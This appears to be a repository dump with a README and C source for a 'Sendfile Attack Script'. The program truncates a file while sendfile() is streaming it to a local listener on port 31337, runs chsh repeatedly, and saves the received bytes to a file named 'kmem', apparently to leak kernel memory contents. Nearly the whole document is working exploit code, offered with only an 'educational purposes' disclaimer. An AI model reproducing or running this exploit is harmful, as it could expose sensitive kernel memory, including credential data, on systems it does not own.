├── README.md └── TCP-Data-Transfer-Tool.c /README.md: -------------------------------------------------------------------------------- 1 | Sendfile Attack Script 2 | This is a C script that performs a Sendfile attack. It creates a file called "sendfile1" of size 64 MB and uses the sendfile() function to send it over a socket to a listening server on port 31337. While the file is being sent, it opens the file "kmem" and writes all received data to it. 3 | 4 | Installation 5 | To run this script, you must have a C compiler installed on your system. You can compile the script using the following command: 6 | 7 | gcc -o sendfile sendfile.c 8 | 9 | Usage 10 | To use the script, first run the compiled executable: 11 | 12 | ./sendfile 13 | 14 | The script will create the file "sendfile1" and start sending it over the socket to the listening server on port 31337. While the file is being sent, it will write all received data to the file "kmem". 15 | 16 | Disclaimer 17 | This script is for educational purposes only. The author takes no responsibility for any illegal use of this script. 18 | -------------------------------------------------------------------------------- /TCP-Data-Transfer-Tool.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define BUF_SIZ 4096 13 | 14 | void dolisten() { 15 | int s,c; 16 | struct sockaddr_in addr; 17 | struct sockaddr_in cli; 18 | socklen_t cli_size; 19 | char buf[BUF_SIZ]; 20 | FILE *f=fopen("kmem", "w"); 21 | 22 | addr.sin_addr.s_addr = INADDR_ANY; 23 | addr.sin_port = htons(31337); 24 | addr.sin_family = AF_INET; 25 | 26 | s = socket(PF_INET, SOCK_STREAM, 0); 27 | if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) { 28 | perror("bind() failed"); 29 | exit(1); 30 | } 31 | 32 | listen(s, 3); 33 | 34 | cli_size = sizeof(cli); 35 | c = accept(s, (struct sockaddr*) &cli, &cli_size); 36 | 37 | while (recv(c, buf, sizeof(buf) - 1, 0) > 0) { 38 | fwrite(buf, strlen(buf), 1, f); 39 | } 40 | } 41 | 42 | int main() { 43 | int input_fd, fd, s, k; 44 | struct stat file_info; 45 | off_t offset = 0; 46 | FILE *f; 47 | int i=0; 48 | struct sockaddr_in addr; 49 | char st[]="A"; 50 | 51 | f=fopen("sendfile1", "w"); 52 | for (i=0; i!=64000000; i++) { 53 | fwrite(st, 1, 1, f); 54 | } 55 | fclose(f); 56 | 57 | input_fd = open ("sendfile1", O_RDWR); 58 | fstat (input_fd, &file_info); 59 | 60 | if (fork() != 0) { 61 | sleep(2); 62 | 63 | s = socket(PF_INET, SOCK_STREAM, 0); 64 | 65 | addr.sin_addr.s_addr = INADDR_ANY; 66 | addr.sin_port = htons(31337); 67 | addr.sin_family = AF_INET; 68 | 69 | if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) { 70 | perror("connect() failed"); 71 | return 2; 72 | } 73 | 74 | if (fork() != 0) { 75 | if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0) == -1) { 76 | perror("sendfile()"); 77 | return -1; 78 | } 79 | } else { 80 | f=fopen("sendfile1", "w"); 81 | fclose(f); 82 | for (k=0;k!=10;k++) { 83 | system("/usr/sbin/chsh -s /bin/sh"); 84 | } 85 | wait(NULL); 86 | } 87 | } else { 88 | dolisten(); 89 | wait(NULL); 90 | } 91 | 92 | return 0; 93 | } 94 | --------------------------------------------------------------------------------